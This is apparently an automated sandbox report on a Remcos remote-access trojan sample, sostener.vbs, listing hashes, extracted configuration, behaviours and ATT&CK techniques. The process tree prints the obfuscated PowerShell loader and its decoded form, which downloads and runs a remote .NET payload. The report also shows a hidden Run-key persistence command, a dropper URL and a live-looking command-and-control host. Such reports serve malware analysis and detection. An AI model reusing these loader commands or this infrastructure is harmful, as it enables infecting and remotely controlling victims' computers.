remcos | e9cc243923de94787673438f26c30baefe9995b38c8b8047b95726b998baf26c

General

Target

sostener.vbs
Size

438KB
MD5

e260955361dc0c8454fcfa061a45f6f1
SHA1

bb77b8e3ef1c8d30cb5dbb90725d34e3c7602e13
SHA256

e9cc243923de94787673438f26c30baefe9995b38c8b8047b95726b998baf26c
SHA512

2f6572ecf6169a33c4cd273c0a9d8fd158e4e9230bb3c0489f3ca8bd0884c784d2372dcc09a6438f178ec2e8a27ccd37b1de3771b6a6cc6485d8d220bc3fa202
SSDEEP

96:WDT/c7lY88ky0xbFi1msq4VIAGYAjrGzrD5UbF:W3/OlY88kyIhi1msLVIAGYAUvGF

Score

10^/10

remcos nlk discovery execution persistence rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://www.informacionoportuna.com/wp-content/uploads/2024/09/dllskyfal.txt

Extracted

Family

remcos

Botnet

Nlk

C2

comandoespecial2023.duckdns.org:8888

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-3PWW8O
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 1 IoCs

flow	pid	Process
9	1132	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\_______________________------------- = "Powershell.exe -WindowStyle hidden \"& 'C:\\Users\\Admin\\AppData\\Local\\Temp\\xx2.vbs' \""	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1220	powershell.exe
1132	powershell.exe
2520	powershell.exe
4864	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1132 set thread context of 880	1132	powershell.exe	96

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe

Suspicious behavior: EnumeratesProcesses 15 IoCs

pid	Process
4864	powershell.exe
4864	powershell.exe
1132	powershell.exe
1132	powershell.exe
2788	powershell.exe
2520	powershell.exe
4344	powershell.exe
2788	powershell.exe
4344	powershell.exe
4344	powershell.exe
2520	powershell.exe
2520	powershell.exe
2520	powershell.exe
1220	powershell.exe
1220	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	4864	powershell.exe
Token: SeDebugPrivilege	1132	powershell.exe
Token: SeDebugPrivilege	2788	powershell.exe
Token: SeDebugPrivilege	2520	powershell.exe
Token: SeDebugPrivilege	4344	powershell.exe
Token: SeDebugPrivilege	1220	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
880	RegSvcs.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 4924 wrote to memory of 4864	4924	WScript.exe	89
PID 4924 wrote to memory of 4864	4924	WScript.exe	89
PID 4864 wrote to memory of 1132	4864	powershell.exe	91
PID 4864 wrote to memory of 1132	4864	powershell.exe	91
PID 1132 wrote to memory of 2520	1132	powershell.exe	92
PID 1132 wrote to memory of 2520	1132	powershell.exe	92
PID 1132 wrote to memory of 2788	1132	powershell.exe	93
PID 1132 wrote to memory of 2788	1132	powershell.exe	93
PID 1132 wrote to memory of 4344	1132	powershell.exe	94
PID 1132 wrote to memory of 4344	1132	powershell.exe	94
PID 2520 wrote to memory of 1220	2520	powershell.exe	95
PID 2520 wrote to memory of 1220	2520	powershell.exe	95
PID 1132 wrote to memory of 880	1132	powershell.exe	96
PID 1132 wrote to memory of 880	1132	powershell.exe	96
PID 1132 wrote to memory of 880	1132	powershell.exe	96
PID 1132 wrote to memory of 880	1132	powershell.exe	96
PID 1132 wrote to memory of 880	1132	powershell.exe	96
PID 1132 wrote to memory of 880	1132	powershell.exe	96
PID 1132 wrote to memory of 880	1132	powershell.exe	96
PID 1132 wrote to memory of 880	1132	powershell.exe	96
PID 1132 wrote to memory of 880	1132	powershell.exe	96
PID 1132 wrote to memory of 880	1132	powershell.exe	96
PID 1132 wrote to memory of 880	1132	powershell.exe	96
PID 1132 wrote to memory of 880	1132	powershell.exe	96

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\sostener.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4924
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ExeNy = 'J▒Bi▒Gk▒awB5▒Gc▒I▒▒9▒C▒▒Jw▒w▒DE▒Mw▒n▒Ds▒J▒Br▒G4▒dwBt▒Hg▒I▒▒9▒C▒▒Jw▒l▒H▒▒egBB▒GM▒TwBn▒Ek▒bgBN▒HI▒JQ▒n▒Ds▒WwBC▒Hk▒d▒Bl▒Fs▒XQBd▒C▒▒J▒Bu▒HU▒c▒Bj▒HM▒I▒▒9▒C▒▒WwBz▒Hk▒cwB0▒GU▒bQ▒u▒EM▒bwBu▒HY▒ZQBy▒HQ▒XQ▒6▒Do▒RgBy▒G8▒bQBC▒GE▒cwBl▒DY▒N▒BT▒HQ▒cgBp▒G4▒Zw▒o▒C▒▒K▒BO▒GU▒dw▒t▒E8▒YgBq▒GU▒YwB0▒C▒▒TgBl▒HQ▒LgBX▒GU▒YgBD▒Gw▒aQBl▒G4▒d▒▒p▒C4▒R▒Bv▒Hc▒bgBs▒G8▒YQBk▒FM▒d▒By▒Gk▒bgBn▒Cg▒JwBo▒HQ▒d▒Bw▒HM▒Og▒v▒C8▒dwB3▒Hc▒LgBp▒G4▒ZgBv▒HI▒bQBh▒GM▒aQBv▒G4▒bwBw▒G8▒cgB0▒HU▒bgBh▒C4▒YwBv▒G0▒LwB3▒H▒▒LQBj▒G8▒bgB0▒GU▒bgB0▒C8▒dQBw▒Gw▒bwBh▒GQ▒cw▒v▒DI▒M▒▒y▒DQ▒Lw▒w▒Dk▒LwBk▒Gw▒b▒Bz▒Gs▒eQBm▒GE▒b▒▒u▒HQ▒e▒B0▒Cc▒KQ▒p▒Ds▒WwBz▒Hk▒cwB0▒GU▒bQ▒u▒EE▒c▒Bw▒EQ▒bwBt▒GE▒aQBu▒F0▒Og▒6▒EM▒dQBy▒HI▒ZQBu▒HQ▒R▒Bv▒G0▒YQBp▒G4▒LgBM▒G8▒YQBk▒Cg▒J▒Bu▒HU▒c▒Bj▒HM▒KQ▒u▒Ec▒ZQB0▒FQ▒eQBw▒GU▒K▒▒n▒EM▒b▒Bh▒HM▒cwBM▒Gk▒YgBy▒GE▒cgB5▒DE▒LgBD▒Gw▒YQBz▒HM▒MQ▒n▒Ck▒LgBH▒GU▒d▒BN▒GU▒d▒Bo▒G8▒Z▒▒o▒Cc▒WgB4▒Es▒S▒BH▒Cc▒KQ▒u▒Ek▒bgB2▒G8▒awBl▒Cg▒J▒Bu▒HU▒b▒Bs▒Cw▒I▒Bb▒G8▒YgBq▒GU▒YwB0▒Fs▒XQBd▒C▒▒K▒▒n▒HQ▒e▒B0▒C4▒cwBv▒GM▒bQBl▒HI▒Lw▒3▒D▒▒Lw▒0▒DI▒M▒▒y▒C8▒cwBk▒GE▒bwBs▒H▒▒dQ▒v▒HQ▒bgBl▒HQ▒bgBv▒GM▒LQBw▒Hc▒LwBt▒G8▒Yw▒u▒GE▒bgB1▒HQ▒cgBv▒H▒▒bwBu▒G8▒aQBj▒GE▒bQBy▒G8▒ZgBu▒Gk▒LgB3▒Hc▒dw▒v▒C8▒OgBz▒H▒▒d▒B0▒Gg▒Jw▒g▒Cw▒I▒▒k▒Gs▒bgB3▒G0▒e▒▒g▒Cw▒I▒▒n▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒Xw▒t▒C0▒LQ▒t▒C0▒LQ▒t▒C0▒LQ▒t▒C0▒LQ▒t▒Cc▒L▒▒g▒CQ▒YgBp▒Gs▒eQBn▒Cw▒I▒▒n▒DE▒Jw▒s▒C▒▒JwBS▒G8▒Z▒Bh▒Cc▒I▒▒p▒Ck▒Ow▒=';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace('▒','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\Admin\AppData\Local\Temp\sostener.vbs');powershell $KByHL;
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4864
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$bikyg = '013';$knwmx = 'C:\Users\Admin\AppData\Local\Temp\sostener.vbs';[Byte[]] $nupcs = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('https://www.informacionoportuna.com/wp-content/uploads/2024/09/dllskyfal.txt'));[system.AppDomain]::CurrentDomain.Load($nupcs).GetType('ClassLibrary1.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.socmer/70/4202/sdaolpu/tnetnoc-pw/moc.anutroponoicamrofni.www//:sptth' , $knwmx , '_______________________-------------', $bikyg, '1', 'Roda' ));"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1132
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Set-ExecutionPolicy Bypass -Scope Process ; powershell -file C:\Users\Admin\AppData\Local\Temp\xx1.ps1
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2520
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -file C:\Users\Admin\AppData\Local\Temp\xx1.ps1
        5⤵
        Adds Run key to start application
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1220
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Copy-Item 'C:\Users\Admin\AppData\Local\Temp\sostener.vbs' -Destination 'C:\Users\Admin\AppData\Local\Temp\'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2788
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Copy-Item 'C:\Users\Admin\AppData\Local\Temp\sostener.vbs' -Destination 'C:\Users\Admin\AppData\Local\Temp\'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4344
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      PID:880

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=3840,i,11391966286255097843,10588851088187498028,262144 --variations-seed-version --mojo-platform-channel-handle=4144 /prefetch:8
1⤵
PID:3404

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\ProgramData\remcos\logs.dat

Filesize
144B

MD5
5e985a09eb81fc02f92246dc35c15644

SHA1
9f61bbd3c110d0491369e5d65825c034076d4b17

SHA256
6e1e6f33ca8455d401c649a065ede86b8952aeb43205e1abe99ab856a5c5229d

SHA512
3a667c366ee5d7ad3dee0b1090f2db9aefda0942b4f9359a894929eabaf1c3f35190cfc76edb8dde95c849c418f647336617058b43b09f39e3432432c8b36000

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
6cf293cb4d80be23433eecf74ddb5503

SHA1
24fe4752df102c2ef492954d6b046cb5512ad408

SHA256
b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

SHA512
0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
5caad758326454b5788ec35315c4c304

SHA1
3aef8dba8042662a7fcf97e51047dc636b4d4724

SHA256
83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391

SHA512
4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
8b56ab7631860454473cf924d0e1da02

SHA1
cd3b8705f1008e1a2a19bd363ab0b291fd9ebd38

SHA256
5624dd2edd0d950b56787cd937043d9c43ad667ac5471090e21cc0d2313eaa18

SHA512
efe7cdf0dad52799a624c33878cacaca5bfeb08bc3fbb78cbdc768b92fa6c83e16b38dfd95a9fa4947d757b9ab276990fee02ae26abdea7b4fd32bf246c74f20

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
50a8221b93fbd2628ac460dd408a9fc1

SHA1
7e99fe16a9b14079b6f0316c37cc473e1f83a7e6

SHA256
46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e

SHA512
27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ijmxz320.hr5.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\xx1.ps1

Filesize
265B

MD5
3613b0cfa9cd66b5bc0bc4aabe147838

SHA1
94bb2a7ae944b9906f95ac19bd3fd199a4396a6b

SHA256
6bc7c43d63f298a0078345bac278b90076521d73259fc34f046df021d738f653

SHA512
282e0d1543850ea5affae87b3e66d1ffbf837c1f2c976843874dc6f0746bb989b18b9ff0be74726165cd8dbdb64068d21f9bd44f04eef5764e1f14fccd31698b

Download Submit
memory/880-77-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/880-95-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/880-119-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/880-72-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/880-118-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/880-111-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/880-110-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/880-103-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/880-79-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/880-82-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/880-83-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/880-84-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/880-85-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/880-86-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/880-102-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/880-94-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1132-22-0x000002467E660000-0x000002467E668000-memory.dmp

Filesize
32KB

Download
memory/1132-71-0x000002467E670000-0x000002467E67A000-memory.dmp

Filesize
40KB

Download
memory/4864-10-0x0000016AA78E0000-0x0000016AA7902000-memory.dmp

Filesize
136KB

Download
memory/4864-78-0x00007FFEC0000000-0x00007FFEC0AC1000-memory.dmp

Filesize
10.8MB

Download
memory/4864-0-0x00007FFEC0003000-0x00007FFEC0005000-memory.dmp

Filesize
8KB

Download
memory/4864-11-0x00007FFEC0000000-0x00007FFEC0AC1000-memory.dmp

Filesize
10.8MB

Download
memory/4864-12-0x00007FFEC0000000-0x00007FFEC0AC1000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads